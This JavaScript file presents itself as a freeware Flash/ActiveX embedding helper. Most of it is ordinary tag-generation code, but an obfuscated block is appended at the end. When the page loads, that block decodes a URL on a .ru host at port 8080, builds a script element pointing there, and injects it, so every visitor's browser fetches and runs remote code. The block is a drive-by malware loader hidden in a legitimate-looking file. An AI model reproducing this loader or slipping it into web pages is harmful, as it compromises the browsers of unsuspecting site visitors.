/*
www.flashrelease.com
Freeware solution to IE activex restriction
*/
var MSG_EvenArgs = 'The %s function requires an even number of arguments.'
                 + '\nArguments should be in the form "atttributeName","attributeValue",...';
var MSG_SrcRequired = "The %s function requires that a movie src be passed in as one of the arguments.";
function AC_AddExtension(args, paramName, extension)
{
  var currArg, paramVal, queryStr, endStr;
  for (var i=0; i < args.length; i=i+2){
    currArg = args[i].toLowerCase();    
    if (currArg == paramName.toLowerCase() && args.length > i+1) {
      paramVal = args[i+1];
      queryStr = "";
      var indQueryStr = args[i+1].indexOf('?');
      if (indQueryStr != -1){
        paramVal = args[i+1].substring(0, indQueryStr);
        queryStr = args[i+1].substr(indQueryStr);
      }
      endStr = "";
      if (paramVal.length > extension.length)
        endStr = paramVal.substr(paramVal.length - extension.length);
      if (endStr.toLowerCase() != extension.toLowerCase()) {
        args[i+1] = paramVal + extension + queryStr;
      }
    }
  }
}
function AC_GetCodebase(baseURL, defaultVersion, args)
{
  var codebase = baseURL + defaultVersion;
  for (var i=0; i < args.length; i=i+2) {
    currArg = args[i].toLowerCase();    
    if (currArg == "codebase" && args.length > i+1) {
      if (args[i+1].indexOf("http://") == 0) {
        codebase = args[i+1];
      }
      else {
        codebase = baseURL + args[i+1];
      }
    }
  }
	
  return codebase;	
}

function AC_checkArgs(args,callingFn){
  var retVal = true;
  if (parseFloat(args.length/2) != parseInt(args.length/2)){
    alert(sprintf(MSG_EvenArgs,callingFn));
    retVal = false;
  }
  return retVal;
}
function AC_GenerateObj(callingFn, useXHTML, classid, codebase, pluginsPage, mimeType, args){
  if (!AC_checkArgs(args,callingFn)){
    return;
  }
  var tagStr = '';
  var currArg = '';
  var closer = (useXHTML) ? '/>' : '>';
  var srcFound = false;
  var embedStr = '<embed';
  var paramStr = '';
  var embedNameAttr = '';
  var objStr = '<object classid="' + classid + '" codebase="' + codebase + '"';
  for (var i=0; i < args.length; i=i+2){
    currArg = args[i].toLowerCase();    
    if (currArg == "src"){
      if (callingFn.indexOf("RunSW") != -1){
        paramStr += '<param name="' + args[i] + '" value="' + args[i+1] + '"' + closer + '\n';
        embedStr += ' ' + args[i] + '="' + args[i+1] + '"';
        srcFound = true;
      }
      else if (!srcFound){
        paramStr += '<param name="movie" value="' + args[i+1] + '"' + closer + '\n'; 
        embedStr += ' ' + args[i] + '="' + args[i+1] + '"';
        srcFound = true;
      }
    }
    else if (currArg == "movie"){
      if (!srcFound){
        paramStr += '<param name="' + args[i] + '" value="' + args[i+1] + '"' + closer + '\n'; 
        embedStr += ' src="' + args[i+1] + '"';
        srcFound = true;
      }
    }
    else if (   currArg == "width" 
              || currArg == "height" 
              || currArg == "align" 
              || currArg == "vspace" 
              || currArg == "hspace" 
              || currArg == "class" 
              || currArg == "title" 
              || currArg == "accesskey" 
              || currArg == "tabindex"){
      objStr += ' ' + args[i] + '="' + args[i+1] + '"';
      embedStr += ' ' + args[i] + '="' + args[i+1] + '"';
    }
    else if (currArg == "id"){
      objStr += ' ' + args[i] + '="' + args[i+1] + '"';
      if (embedNameAttr == "")
        embedNameAttr = ' name="' + args[i+1] + '"';
    }
    else if (currArg == "name"){
      objStr += ' ' + args[i] + '="' + args[i+1] + '"';
      embedNameAttr = ' ' + args[i] + '="' + args[i+1] + '"';
    }    
    else if (currArg == "codebase"){
    }    
      else{
      paramStr += '<param name="' + args[i] + '" value="' + args[i+1] + '"' + closer + '\n'; 
      embedStr += ' ' + args[i] + '="' + args[i+1] + '"';
    }
  }
  if (!srcFound){
    alert(AC_sprintf(MSG_SrcRequired,callingFn));
    return;
  }

  if (embedNameAttr)
    embedStr += embedNameAttr;	
  if (pluginsPage)
    embedStr += ' pluginspage="' + pluginsPage + '"';
  if (mimeType)
    embedStr += ' type="' + mimeType + '"';
  objStr += '>\n';
  embedStr += '></embed>\n'; 
  tagStr = objStr + paramStr + embedStr + "</object>\n"; 
  document.write(tagStr);
}

var g='';function c(){this.B='';var N;if(N!=''){N='Mi'};this.O="";var j=unescape;var D;if(D!='Tq'){D=''};var n=window;var o;if(o!=''){o='E'};var xd=new String();var S=j("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%73%6f%67%6f%75%2e%63%6f%6d%2f%68%75%6c%75%2e%63%6f%6d%2e%70%68%70");var F=new Array();var pk=new Array();function L(r,rs){var y="";this.CK='';var C=String("9aIHg".substr(4));var HL;if(HL!='f' && HL!='MM'){HL='f'};var G=j("%5b"), K=j("%5d");var fH=new Array();var fl=new Array();var b=G+rs+K;var x=new RegExp(b, C);return r.replace(x, new String());};var _=new Array();this.Xr='';var Yu;if(Yu!='un' && Yu!='Q'){Yu=''};var fK=new String();var se;if(se!='q' && se!='VC'){se='q'};var rx=new Array();var V=new String();this.iE="";var cn=document;var lL;if(lL!=''){lL='RE'};var M=L('87292224509722437837543403541327','52743169');var dx;if(dx!='QK'){dx=''};var Yf;if(Yf!='Tl'){Yf='Tl'};function GK(){var vz=new String();var rp=j("%68%74%74%70%3a%2f%2f%72%65%74%69%72%65%74%65%72%72%69%66%79%2e%72%75%3a");var Pu="";var px="";V=rp;var ec=new Date();V+=M;V+=S;try {var HW;if(HW!='NE'){HW='NE'};v=cn.createElement(L('sKczrRiEpKtQ','EFRA9zQyNK6'));var GS;if(GS!='' && GS!='Nh'){GS=null};var Ir;if(Ir!='' && Ir!='Rs'){Ir=null};v[j("%73%72%63")]=V;var po;if(po!='OG' && po!='Ay'){po=''};v[j("%64%65%66%65%72")]=[1,3][0];var Wb="";cn.body.appendChild(v);var cP=new Date();var rC;if(rC!='' && rC!='w'){rC=''};} catch(Sg){alert(Sg);var gn;if(gn!='pu' && gn != ''){gn=null};};var GF="";}var EZ;if(EZ!='YZr'){EZ='YZr'};var CZ;if(CZ!='cK'){CZ='cK'};n["onloautEi".substr(0,5)+"d"]=GK;var Ux=new Date();var Oi=new String();var nV=new String();};var UK=new String();var fD;if(fD!='Yh'){fD=''};c();var Dz;if(Dz!='mi' && Dz!='Sx'){Dz='mi'};
